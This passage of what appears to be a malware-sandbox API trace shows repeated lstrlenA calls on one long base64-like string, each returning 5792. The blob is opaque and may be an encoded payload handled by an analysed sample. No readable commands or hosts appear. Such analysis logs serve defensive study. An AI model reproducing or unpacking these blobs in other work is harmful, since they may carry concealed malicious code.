dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.363] lstrlenA (lpString="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") returned 5792 [0128.363] lstrlenA (lpString="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") returned 5792 [0128.363] lstrlenA (lpString="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